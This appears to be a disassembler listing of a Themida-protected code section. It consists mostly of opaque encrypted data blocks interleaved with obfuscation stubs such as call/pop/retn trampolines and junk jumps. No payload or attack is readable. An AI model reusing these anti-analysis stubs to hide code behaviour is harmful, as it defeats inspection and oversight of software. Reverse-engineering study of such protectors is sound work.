		dd 13A1BD8Bh, 4EB0611h,	0
; ---------------------------------------------------------------------------
		jno	loc_588EF4
		xor	[ebp+61127C1h],	ecx


loc_588EF4:				; CODE XREF: Themida_:00588EE8j
		xor	[ebp+6111F81h],	eax
		mov	[ebp+61130F5h],	ecx
		lea	eax, [ebp+6112795h]
		mov	[ebp+6111E9Dh],	ecx
		nop
		mov	edi, eax
		push	eax
		js	loc_588F29
		jmp	loc_588F29
; ---------------------------------------------------------------------------
		db 39h
		dd 0F3F9ABBFh, 528C9AAFh, 5633A7F7h
		db 8Ah
; ---------------------------------------------------------------------------


loc_588F29:				; CODE XREF: Themida_:00588F10j
					; Themida_:00588F16j
		nop
		push	0
		push	edx
		call	sub_588F35
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F35	proc near		; CODE XREF: Themida_:00588F2Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_588F35	endp

; ---------------------------------------------------------------------------
		wait
		mov	dl, 76h
		mov	ebp, 6A2F64h
		mov	di, 4A26h
		push	0
		mov	esi, [ebp+6110DA1h]
		lea	eax, [ebp+614F4F6h]
		push	0
		push	esi
		call	sub_588F6B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F6B	proc near		; CODE XREF: Themida_:00588F63p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_588F6B	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		sub	esi, [ebp+6111DE5h]
		add	eax, 5
		push	0
		push	esi
		call	sub_588F90
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588F90	proc near		; CODE XREF: Themida_:00588F88p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_588F90	endp

; ---------------------------------------------------------------------------
		mov	[ebp+ebp+57h], edi
		xchg	cl, [ebx-23h]
		or	byte ptr [eax+7Eh], 0FCh
		push	eax
		mov	si, dx
		mov	[esp], eax
		push	0
		push	esi
		call	sub_588FBD
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588FBD	proc near		; CODE XREF: Themida_:00588FB5p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_588FBD	endp

; ---------------------------------------------------------------------------
		db 64h,	10h, 0BCh
		dd 610189F2h, 0AB1F681h, 0BD0B0CD5h, 6112609h, 0B360006Ah
		dd 12E9A7h, 22AE0000h, 0C1618283h, 6C661343h, 857680CBh
		dd 9D4C14EBh, 8B006A61h, 112C85BDh, 5D95FF06h, 60061107h
		dd 0EE99BB3h, 72000000h, 7EF57E05h, 4A0E5765h, 0D57A0A24h
		dd 9D8D61A6h, 614A420h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0B7C35747h, 8B666DD4h, 6AD3FFF8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FFA3C350h, 1107AD85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0AAF12583h
		dd 9FD08338h, 0BE8h, 97CAD500h,	0DD6A8C32h, 4285A7E9h
		dd 12E8h, 0B6BCB400h, 0A8B36B80h, 0B84584DEh, 83DC4A16h
		dd 660B8414h, 5F5FF28Bh, 9E5E9h, 0E800h, 815D0000h, 14F500EDh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0A9BD810Eh, 0D0061113h, 0F000007h, 14486h
		dd 75BD8B00h, 81061128h, 0F019ABDEh, 7D9D8B1Fh,	6A061106h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0F45C350h, 0E381F7BFh, 100h, 2BB98589h, 0BE660611h
		dd 0DB0B0879h, 96850Fh,	95890000h, 61106E5h, 0F31EBD83h
		dd 0F000614h, 2E84h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0DD71F070h, 1E3C9D7Eh
		dd 6BE9h, 318D0100h, 0C7061120h, 14F31E85h, 106h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 39E96894h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0B806C352h,	0D23AF621h
		dd 6666ADD3h, 1A97EE81h, 0F31E85C7h, 614h, 9D890000h, 6110AF1h
		dd 67D9D8Dh, 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 0CFBF7DC3h, 0FD03923Bh, 0F950135h
		dd 188Eh, 13E900h, 0D4EF0000h, 16346005h, 0EFEFE6Eh, 0CB756473h
		dd 45A1B72Bh, 0FF2381B3h, 8BFFFFFEh, 110365B5h,	0DB8C6606h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 1DC35242h
		dd 0CE9h, 0D441AB00h, 0C09C3287h, 0A35F4BB8h, 4C3F6BAh
		dd 68840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 52C7F5C3h, 0B86D94D0h, 8958686Eh
		dd 1128DD95h, 9195FF06h, 6A061121h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9540C351h
		dd 0D5553A4Bh, 41F1CA37h, 7618589h, 89500611h, 8B502404h
		dd 111555BDh, 46E95E06h, 66000005h, 0B0FD3DBFh,	55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 9C7F83B5h, 0D75D639Fh, 14E9h, 93A49800h, 424B9D07h
		dd 9ABA1072h, 986CEDA9h, 9654CCCBh, 0B58B539Ch,	611073Dh
		dd 6A70E65Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0AAC357h, 0F79F508Ch, 27E99D89h
		dd 8B660611h, 6A71E4F9h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 7CFAC350h, 0E7769234h
		dd 8127DF91h, 0D2214E6h, 0D8B60F08h, 24598531h,	6BA0611h
		dd 89000000h, 11086DB5h, 6AC38B06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 7601C357h
		dd 0FA17A914h, 38C0F0Fh, 0F000000h, 0E8C1F7BFh,	50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0C16D20Fh, 18D097Ch,	6606112Eh, 6AE2F7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 291DC4C3h
		dd 0FB41683Dh, 667C01EAh, 2BECD5BEh, 57006AD8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0B54477D0h
		dd 8C0FA614h, 0Ah, 8BF1B560h, 11157185h, 66606106h, 0C689DA81h
		dd 0C820Fh, 7E90000h, 0E6000000h, 575C5053h, 506139BFh
		dd 830F5250h, 0
		dd 13E8310Fh, 65000000h, 3591FD87h, 0CE8F1B8Dh,	306EB0F8h
		dd 75E94B12h, 5F575CBEh, 89585A5Fh, 6A241Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 55E309C3h
		dd 0FA8B4DC4h, 6E9h, 31F31B00h,	0FF34C476h, 1113A9B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0CAF2AFBBh, 0B50141AEh, 611085Dh, 5C595FFh
		dd 6A0611h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0C3EA2DC3h, 2879A163h, 89A22FC2h,	112A7595h
		dd 959D0106h, 0B006111Ch, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 185C8364h
		dd 19DDDA69h, 9D89F7D6h, 6110DE5h, 29898D89h, 70E60611h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 7EC35545h
		dd 888B8BFCh, 6880Fh, 0B58B0000h, 611323Dh, 6A71E4h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 91E110C3h, 5B5AA431h, 13E9CBh, 259F0000h, 92F2C7D5h
		dd 1A6A7374h, 8928C6CAh, 85A213FFh, 0F613C1Fh, 26083h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A77D5FC5h, 0B58B7159h, 61103A9h, 535B58Bh
		dd 0B60F0611h, 6BAFCD8h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B480C351h
		dd 0C38B3081h, 0E8C15F57h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D29F1BCh
		dd 61106E9h, 26898501h,	0F7660611h, 50006AE2h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0D82B11CBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0B6C35343h
		dd 16A50C35h, 3585893Dh, 5806110Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0AEC35747h,	0CD51ACDBh, 0F98B0298h
		dd 880FD82Bh, 165h, 0CD958B60h,	6106111Fh, 7B9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 9EEFDF2h, 0B18D293Bh, 83061103h, 6A00C1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 2B7EC3C3h
		dd 75175A38h, 8900621Ch, 11285985h, 37F78106h, 3B7C9DFBh
		dd 0F6860FD9h, 0F000000h, 84h, 0D98C6600h, 0C1F6FB8Bh
		dd 0B0840F04h, 89000000h, 111E499Dh, 9195FF06h,	6A061121h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0C3CFC350h, 74A1A4F6h, 5A1BD0Bh, 0E95B0611h
		dd 9, 0CC0212B1h, 8683067Dh, 0E9C32BEFh, 9, 6385BE7Ch
		dd 90714D83h, 8343DD2h,	860F0000h, 53h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 68C35040h, 0AC8EA3D3h
		dd 1DBD339Ah, 0BE061126h, 6E626F96h, 54E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0B9CBD3F0h, 8B398B3Ah, 18830FC0h, 0E9000000h, 13h, 68857546h
		dd 0EDA83839h, 65687135h, 0EB58CD91h, 0F36B3F9h, 0C83h
		dd 68C0F00h, 0F000000h,	86h, 8BC38B00h,	50006AD8h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0AB8EA803h, 42E6437Eh, 32B5BD8Bh, 85C70611h,	6110ED9h
		dd 5A83037Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Ch,	34C35040h, 4577D7F6h, 77DD4009h, 60F88B66h, 0E8816660h
		dd 0B966D48Fh, 66617E83h, 615342B8h, 0BD81C08Bh, 61113A9h
		dd 7D0h, 2C850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0BE660BC3h, 0B531617Ah
		dd 6112765h, 13A985FFh,	0B5FF0611h, 61113A9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 7CC35545h, 39C3C8A2h
		dd 147EC2D1h, 5C595FFh,	6A0611h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0E0F31CC3h, 0A8EA7025h
		dd 8D8939AFh, 61104EDh,	11E890h, 662B0000h, 15CB9FB4h
		dd 62E49013h, 569254F8h, 0FC13A6ABh, 0B195895Eh, 0E9061130h
		dd 0Bh,	2FFC0262h, 0E01EE3BCh, 314C4AA6h, 112A018Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 0F3BF0F60h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0BBC35343h, 7DBD8B85h, 0BF061123h, 2FFE69AFh, 9319D01h
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 90D9E2C3h, 3311BD8Bh, 890F0611h, 0
; ---------------------------------------------------------------------------
		adc	si, 340Fh
		mov	si, di
		cld
		jmp	loc_5899F1
; ---------------------------------------------------------------------------
		add	ebp, [ebp+3Dh]
		add	al, 0A0h
		and	al, 0E8h


loc_5899F1:				; CODE XREF: Themida_:005899E5j
		movsx	esi, di
		push	0
		push	ecx
		call	sub_5899FF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5899FF	proc near		; CODE XREF: Themida_:005899F7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5899FF	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 857C217Eh, 971F949h,	11003585h, 0F78B6606h, 6AF3B70Fh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 5537C355h, 6D1BFBC0h, 296275E5h, 11140D85h
		dd 65BD8B06h, 5306111Ch, 313DBD8Bh, 8B600611h, 111D0595h
		dd 8164BE06h, 8D8B78A0h, 6111219h, 0BD0B5F61h, 61114B9h
		dd 0FFF648E9h, 55006AFFh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD8B554Fh, 61100A5h
		dd 0B58BF957h, 6112349h, 0C18BF55Eh, 18019529h,	7E90611h
		dd 86000000h, 5C8CAC88h, 4EB5273h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_589ACB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589ACB	proc near		; CODE XREF: Themida_:00589AC3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_589ACB	endp

; ---------------------------------------------------------------------------
		db 37h
		dd 15FB7A18h, 0E8A92E03h, 0Ch, 0D8EB2943h, 2B9D2798h, 87557CD1h
		dd 13E9h, 0FE74EF00h, 0B2F629A4h, 33346BC3h, 0D95CD2CDh
		dd 1FF2827Ah, 95858D5Fh, 6A061127h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7495C355h
		dd 668B892Ch, 4F82D914h, 9E64C781h, 60501CB0h, 17B05250h
		dd 0CA8A310Fh, 59BF585Ah, 6159C35Bh, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0E1A9C352h, 7DB58B68h, 6A061124h, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 4CC6F6C5h
		dd 472BBB37h, 8E90Ah, 532A0000h, 0B6C2D9D4h, 0BD89A07Eh
		dd 6111CE1h, 8529006Ah,	6112661h, 6CDB529h, 858D0611h
		dd 6150107h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	15C35141h, 26BFD4DCh, 83359C04h, 8C0F05C0h, 8
		dd 0C59D0160h, 61061113h, 0BF665090h, 6A909F7Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0EF28C352h, 0E9A8541Eh, 6670B744h, 6AFB8Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EFC35747h, 0ED34CDB5h
		dd 40BE6609h, 66006A33h, 0FFCA3DBEh, 11075D95h,	7E806h
		dd 88DA0000h, 0F1FF3770h, 9D8D5E7Ch, 614A420h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D2C35343h, 0A1D915A9h
		dd 0C740D397h, 6AD3FFFCh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 14BC355h, 98EE8AD3h
		dd 3CEF816Dh, 231BA196h, 111381B5h, 0AD85FF06h,	31061107h
		dd 110FE995h, 778E906h,	0E80000h, 5D000000h, 111ED81h
		dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 767896C3h, 1FBCEBADh, 23E78166h, 0A9BD81FDh
		dd 0D0061113h, 0F000007h, 14286h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0EA7025E0h
		dd 0A539AFA8h, 0D78141B1h, 3B8B1FDDh, 4D60BE56h, 8B5F7557h
		dd 112A0D9Dh, 9E906h, 15C80000h, 57B3C8F2h, 81F5D2FCh
		dd 100E3h, 0F6B70F00h, 850FDB0Bh, 7Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 0DC35545h, 0BF66D5E5h, 0B58B64AAh
		dd 61131F9h, 0FEF6BD83h, 0F000614h, 1184h, 0AD9D8900h
		dd 0E9061115h, 6Ah, 53DB58Bh, 85C70611h, 614FEF6h, 1, 28659D89h
		dd 4FE90611h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 7B83C357h, 0DB8B2CCEh
		dd 0FEF685C7h, 614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0C01F5AC3h, 0A2CCB965h
		dd 9D8D2278h, 6112A0Dh,	2B5EB960h, 0B70F266Dh, 238161C7h
		dd 0FFFFFEFFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	46C35242h, 0FBFB6092h, 0A0EC8334h, 0B9B58BBCh
		dd 6606112Bh, 8D31DB8Ch, 6112309h, 0F04C3F6h, 4D84h, 0F1B70F00h
		dd 219195FFh, 6A0611h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 46AA7FC3h, 79BD2959h, 66061124h
		dd 252BD781h, 9E85790h,	27000000h, 0C5758679h, 385D4AF1h
		dd 8A0Fh, 5F5E0000h, 0B2E99050h, 0F000003h, 0B0F6BFh, 6850Fh
		dd 840F0000h, 0
		dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 7B741AC3h, 563FACA9h, 71E43FBEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 54C35141h, 39BD8B1Bh
		dd 0F06111Bh, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 0D59A9EC3h, 35B589C6h, 0BA061101h
		dd 6, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 17h
		dd 6CC35343h, 8163A9E8h, 3DE911E7h, 0C1C38B67h,	840F04E8h
		dd 6, 3A5B589h,	0F7660611h, 57006AE2h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 670699BBh
		dd 0CE9EEF0h, 9C000000h, 421558B7h, 0B8ED3DCCh,	2B851EEEh
		dd 0FB8B93D8h, 0FFFC9350h, 1113A9B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 49CD887Dh, 0E85ACC31h, 12h, 44128B25h, 167CDE6h, 0FE3558D7h
		dd 537E3B7Bh, 0DE82C28h, 3E000000h, 6F128CDAh, 770545CBh
		dd 8FC1F563h, 5E5F5E51h, 0CEBBFABEh, 0C595FF27h, 0F061105h
		dd 688h, 8D858900h, 0B006110Fh,	70E6FC00h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 86C35545h, 1ECCB5ECh
		dd 6A71E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 12DBA4C3h, 0B58BEBB4h, 61133F9h, 830F613Ch
		dd 1F5h, 6860F52h, 1000000h, 1126D9B5h,	0B60F5E06h, 20D681D8h
		dd 966AA9Bh, 112B9195h,	6BA06h,	81660000h, 8B03F7EFh, 99B58BC3h
		dd 0C1061104h, 6A04E8h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 8554FC3h, 616FE882h, 29C86DE4h
		dd 111BF1BDh, 0E2F76606h, 26DD9D01h, 0D82B0611h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E5C35040h, 0EB294377h
		dd 9D2798D8h, 8166582Bh, 2B65BEEFh, 5A880FD8h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 66BAC352h, 7B9F98Bh, 0E8000000h, 0Bh, 22966262h
		dd 63D26A1Bh, 0F5C9BA6h, 681h, 0ED9D8900h, 5E061100h, 6A00C183h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0DB4EC350h, 4CEBDD8Ch, 8BCA62Ah, 0EE9h, 0CFC9B000h
		dd 2E7F4525h, 2C4153ADh, 0FCF7AC4h, 0D93BFBB7h,	0D3860Fh
		dd 9E80000h, 0A000000h,	0EF3B6A1Ah, 4005F44Bh, 2B7DB58Bh
		dd 665E0611h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0BE5BBFC3h, 0F6FDF6EAh, 840F04C1h
		dd 8Fh,	0D4DBD29h, 95FF0611h, 6112191h,	22AD8D29h, 6A5B0611h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8B08C355h, 1106CDB5h, 0E9BD8906h,	2B06110Dh
		dd 55006AC3h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5DF92DB6h, 343D5DA5h, 0F000008h,	2686h
		dd 0FEA6BF00h, 1EE917AAh, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B5DC353h
		dd 8BC38BC0h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0CFF9CFEDh, 66E1D9D5h, 6602D6BFh
		dd 0C77ECBBEh, 11067D85h, 626B5D06h, 50006A33h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 64B8538Eh
		dd 8B587858h, 110DB1B5h, 85896006h, 61129A9h, 0D905BF66h
		dd 8BC08B61h, 1117C5BDh, 0A9BD8106h, 0D0061113h, 0F000007h
		dd 2C85h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0B7F7E2F4h, 0A985FF4Dh, 9061113h
		dd 1105F985h, 0A9B5FF06h, 89061113h, 11320D9Dh,	0F18B6606h
		dd 5C595FFh, 81660611h,	90567EDEh, 31ADB533h, 6A0611h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0CBF8FFC3h, 0C36CFE6Ch, 0B589237Dh, 6110CB5h, 6E9h
		dd 0FC0EF100h, 6AD37EBBh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 605DC353h, 0EC99D31h
		dd 830F0611h, 6, 860Fh,	0B8660000h, 0B966F17Eh,	0F61084Bh
		dd 983h, 0F3B70F00h, 30759D89h,	6A0611h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0BF4CCEC3h
		dd 8C0D6FC4h, 8910BDAFh, 11347D8Dh, 99BD8B06h, 60061104h
		dd 79D78166h, 459589A6h, 61061105h, 0F222EF81h,	6A1D9Fh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 899FC0C3h, 1103F985h, 118D0F06h, 89000000h, 1117C19Dh
		dd 5880F06h, 66000000h,	0FF4FF781h, 33F3F681h, 8FE90EB3h
		dd 81FFFFF8h, 21F278CEh, 0C18BF833h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 95C35040h, 0E90816F6h, 11h
		dd 69835F6Bh, 5B5768C3h, 28C75B16h, 0C989770h, 0B3F7813Eh
		dd 0EB6C91FDh, 4, 68F0F00h, 8B000000h, 1112D5B5h, 4820F06h
		dd 66000000h, 8D70BABFh, 11279585h, 98CE8106h, 902E2060h
		dd 0E850FA8Bh, 0Bh, 507D1E96h, 7941F6C6h, 5EB22988h, 0EDBD8B90h
		dd 6A061107h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E93C8384h, 0Ch, 6AD6022Ch, 0B7DBA78Fh
		dd 0B96A50D1h, 0B58B006Ah, 6110311h, 9C6858Dh, 8A0F0615h
		dd 5, 89DF8166h, 5C083B3h, 0E850FA8Bh, 8, 0D74365A2h, 13ECE49Ah
		dd 5EF98B66h, 1240489h,	1115359Dh, 81006A06h, 1E68CFCFh
		dd 0FF006A39h, 11075D95h, 0E9858906h, 8D061121h, 14A4209Dh
		dd 0CF816606h, 0D3FF1F07h, 2AD5BD8Bh, 85FF0611h, 61107ADh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0BCC35040h
		dd 891FA045h, 11001985h, 0F08B6606h, 905E9h, 0E800h, 815D0000h
		dd 1509D0EDh, 13E906h, 5C5F0000h, 0E4D5F0D4h, 3840BE91h
		dd 66805B19h, 8ACE7103h, 0A9BD819Bh, 0D0061113h, 0F000007h
		dd 13E86h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 4709E2DEh, 93EF8148h, 560B8909h
		dd 0DC33EE81h, 8B5E0668h, 112DB59Dh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E381AEh, 0E9000001h
		dd 9, 9036DDB9h, 3B0711E1h, 0FDB0BAAh, 7685h, 8E900h, 67C60000h
		dd 1BEA1530h, 0BD83DC52h, 61508C3h, 11840F00h, 8B000000h
		dd 11180DB5h, 60E906h, 0B52B0000h, 6110625h, 8C385C7h
		dd 10615h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 4C089FC3h, 17810F31h, 0E9000000h
		dd 12h,	79FE43D6h, 0F0AF291Fh, 0FF191426h, 0FD5FD63h, 0FE91B2Bh
		dd 0C7000000h, 1508C385h, 6, 0D7816600h, 9D8D2027h, 6112DB5h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0B8C35141h, 0FEFF2381h, 6AFFFFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 68206C3h, 19D955Ah, 66FCCA2Dh, 6ADB8Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 98C8A1C3h
		dd 0E8199737h, 0BD331D2Ch, 61121CDh, 0B91BD01h,	0C3F60611h
		dd 7F840F04h, 1000000h,	11032195h, 9195FF06h, 6A061121h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0B9A3C353h, 3DE68122h, 501BA520h,	0CE8h
		dd 0E1E33500h, 53BEA2E2h, 2A180768h, 0FE85Ah, 0A3600000h
		dd 47F07685h, 0B1417EB9h, 0E2D339A5h, 0F52506Ch, 5F585A31h
		dd 2404895Eh, 10E852h, 0CE130000h, 0F2871434h, 0E167ED52h
		dd 957610BEh, 820F6921h, 0
; ---------------------------------------------------------------------------
		pop	edi
		pop	edi
		jmp	loc_58AC44
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_58A7CE
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A7CE	proc near		; CODE XREF: Themida_:0058A7C6p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_58A7CE	endp

; ---------------------------------------------------------------------------
		dw 0B555h
; ---------------------------------------------------------------------------
		mov	ebx, 9AE64B91h
		jo	$+6
		stc
		jmp	loc_58A805
; ---------------------------------------------------------------------------
		db 39h,	85h, 24h
		dd 3BC5B77Fh, 598A5450h, 0E775D8BEh, 5A26FEE6h
		db 35h
; ---------------------------------------------------------------------------


loc_58A805:				; CODE XREF: Themida_:0058A7ECj
		mov	al, 0
		push	0
		push	eax
		call	sub_58A812
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A812	proc near		; CODE XREF: Themida_:0058A80Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_58A812	endp

; ---------------------------------------------------------------------------
		dw 0F7Fh
